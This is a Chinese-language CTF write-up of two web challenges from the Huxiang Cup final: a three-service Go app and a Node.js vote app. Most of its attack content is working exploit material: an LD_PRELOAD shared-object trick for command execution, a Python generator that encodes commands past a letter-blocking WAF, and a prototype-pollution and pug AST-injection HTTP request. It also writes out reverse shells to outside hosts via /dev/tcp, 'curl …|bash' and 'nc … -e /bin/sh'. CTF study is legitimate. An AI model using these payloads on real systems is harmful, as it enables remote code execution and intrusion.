Web学习

湖湘杯 决赛(node&go)题目学习

前言:感谢Guoke和ha1提供的赛后wp以及相关的附件。

MultistageAgency

一个go的题目,一共起了3个服务。一个暴露出来,一个做为proxy,还有一个是内部的文件访问相关的服务。
这里从最外层开始审计。
首先能够看到其中

func main() {
    file, err := os.Open("secret/key")
    if err != nil {
        panic(err)
    }
    defer file.Close()
    content, err := ioutil.ReadAll(file)
    SecretKey = string(content)
    http.HandleFunc("/", IndexHandler)
    fs := http.FileServer(http.Dir("dist/static"))
    http.Handle("/static/", http.StripPrefix("/static/", fs))
    http.HandleFunc("/token", getToken)
    http.HandleFunc("/upload", uploadFile)
    http.HandleFunc("/list", listFile)
    log.Print("start listen 9090")
    err = http.ListenAndServe(":9090", nil)
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

这里写了提供的相关路由,我们可以看到其中几个较为有用的就是/token,/upload以及/list路由。这里我们挨个跟进去看

func getToken(w http.ResponseWriter, r *http.Request) {
    values := r.URL.Query()
    fromHostList := strings.Split(r.RemoteAddr, ":")
    fromHost := ""
    if len(fromHostList) == 2 {
        fromHost = fromHostList[0]
    }
    r.Header.Set("Fromhost", fromHost)
    command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
    for k, _ := range values {
        command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))

    }
    outinfo := bytes.Buffer{}
    outerr := bytes.Buffer{}
    command.Stdout = &outinfo
    command.Stderr = &outerr
    err := command.Start()
    //res := "ERROR"
    if err != nil {
        fmt.Println(err.Error())
    }
    res := TokenResult{}
    if err = command.Wait(); err != nil {
        res.Failed = outerr.String()
    }

    res.Success = outinfo.String()

    msg, _ := json.Marshal(res)
    w.Write(msg)

}

他把我们的请求从Query()解析,然后利用访问内网中的一个服务。来给设置相关的环境变量内容,fromHost这里是解析的r.RemoteAddr不太像是能被篡改的。

func uploadFile(w http.ResponseWriter, r *http.Request) {

    if r.Method == "GET" {
        fmt.Fprintf(w, "get")
    } else {
        values := r.URL.Query()
        token := values.Get("token")
        fromHostList := strings.Split(r.RemoteAddr, ":")
        fromHost := ""
        if len(fromHostList) == 2 {
            fromHost = fromHostList[0]
        }
        //验证token
        if token != "" && checkToken(token, fromHost) {
            dir := filepath.Join("uploads",token)
            if _, err := os.Stat(dir); err != nil {
                os.MkdirAll(dir, 0766)
            }

            files, err := ioutil.ReadDir(dir)
            if len(files) > 5 {
                command := exec.Command("curl", "127.0.0.1:9091/manage")
                command.Start()

            }

            r.ParseMultipartForm(32 << 20)
            file, _, err := r.FormFile("file")
            if err != nil {
                msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
                w.Write(msg)
                return
            }
            defer file.Close()
            fileName := RandStringBytes(5)
            f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
            if err != nil {
                fmt.Println(err)
                return
            }
            defer f.Close()
            io.Copy(f, file)
            msg, _ := json.Marshal(UploadFileResult{Code: fileName})
            w.Write(msg)
        } else {
            msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
            w.Write(msg)
        }

    }
}

这一段给出了一个上传文件的办法,大体先是对该用户的token进行检测,然后再
/uploads/token下面开文件夹,然后如果其中的文件大于5个就开始请求内网中的manage方法,
可以看内网manage方法

func manage(w http.ResponseWriter, r *http.Request) {
    values := r.URL.Query()
    m := values.Get("m")
    if !waf(m) {
        fmt.Fprintf(w, "waf!")
        return
    }
    cmd := fmt.Sprintf("rm -rf uploads/%s", m)
    fmt.Println(cmd)
    command := exec.Command("bash", "-c", cmd)
    outinfo := bytes.Buffer{}
    outerr := bytes.Buffer{}
    command.Stdout = &outinfo
    command.Stderr = &outerr
    err := command.Start()
    res := "ERROR"
    if err != nil {
        fmt.Println(err.Error())
    }
    if err = command.Wait(); err != nil {
        res = outerr.String()
    } else {
        res = outinfo.String()

    }
    fmt.Fprintf(w, res)
}

他先是对请求进行过滤,然后直接bash -c 进行命令执行,
waf方法

func waf(c string) bool {
    var t int32
    t = 0
    blacklist := []string{".", "*", "?"}
    for _, s := range c {
        for _, b := range blacklist {
            if b == string(s) {
                return false
            }
        }
        if unicode.IsLetter(s) {
            if t == s {
                continue
            }
            if t == 0 {
                t = s
            } else {
                return false
            }
        }
    }

    return true
}

主要是屏蔽了 .*?以及所有的字母
可以想到去年安洵杯的一道题目,我们利用那个payload来生成相关的命令执行。
flag 权限 400 然后9091 也就是manage服务的这个机器是root 可以读这个。
所以需要通过/manage进行命令执行。
所以只要考虑能够进入内网就可以了,那我们这台机子上可控的部分是环境变量以及上传文件,那我们考虑通过上传恶意文件 并且由于他设置了命令的环境变量可以考虑利用 LD_PRELOAD来让他加载运行链接库的时候进行执行。

#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("_evilcmd"));
}

将这个上传上去之后,利用burp获取我们的一个token,然后在去设置我们的一个命令执行,同时,将这个命令的环境变量同时设置为127.0.0.1:8080的http_proxy。
然后就能够实现这台机器上面的RCE了。

考虑弹一个shell回来。
这里我换了很多shell方式,最后用curl http://ip/evil|bash的方法成功了
evil里面写
/bin/bash -i >& /dev/tcp/IP/8888 0>&1
之后我们现在只需要通过9091部分的攻击进行flag读取即可。
生成一个过waf的payload

import requests
from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

def get_flag(url,payload):                          #盲注函数
    try:
        data = {'cmd':payload}
        r = requests.post(url,data,timeout=1.5)
    except:
        return True
    return False

print(quote(build('cat /flag'),'utf-8'))

最后这个url还是使用全编码比较正常,用burp自带的编码器就行。

成功用root权限读取flag

vote

nodejs的题,代码特别短,直接贴出来了

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

    if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
        return res.json({
            'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with correct name.'
        });
    }
});

module.exports = router;

可以看到可用的路由只有2处,一个是/会跳转访问/index.html
还有一个api 他会解析传入的参数 取出name首先检测是否存在这几个英雄名,

但是这里依然存在一个问题就是我们的user不可控,这里就涉及到了pug模板的AST注入,

pug工作原理如上图所示。

与handlebars不同的是,每个过程都被分成一个单独的模块。

pug-parser 生成的 AST被传递给 pug-code-gen并制成一个函数。最后,它将被执行。

<!-- /node_modules/pug-code-gen/index.js -->
if (debug && node.debug !== false && node.type !== 'Block') {    
if (node.line) 
{        var js = ';
pug_debug_line = ' + node.line; 
if (node.filename)           
js += ';
pug_debug_filename = ' + stringify(node.filename);   
this.buf.push(js + ';');    }
}

在 pug 的compiler(编译器)中,有一个变量存放着名为 pug_debug_line的行号,用于调试。

如果 node.line 值存在,则将其添加到缓冲区,否则传递。

对于使用 pug-parser 生成的 AST,node.line 值始终指定为整数。

但是,我们可以通过 AST注入在 node.line 中插入一个非整型的字符串并导致任意代码执行。

利用这种方法进行flat的原型链污染,污染到node.line就可以了。

最后这个机器上没bash,反弹shell用了好久。(x
用的nc -e的办法。

POST /api/submit HTTP/1.1
Host: 1.14.71.254:28059
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://1.14.71.254:28059/
Content-Type: application/json
Origin: http://1.14.71.254:28059
Content-Length: 169
Connection: close

{"hero.name":"菲奥娜",
"__proto__.block":{
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync(`nc 82.156.18.214 8888 -e /bin/sh`)"}
}

回复

This is just a placeholder img.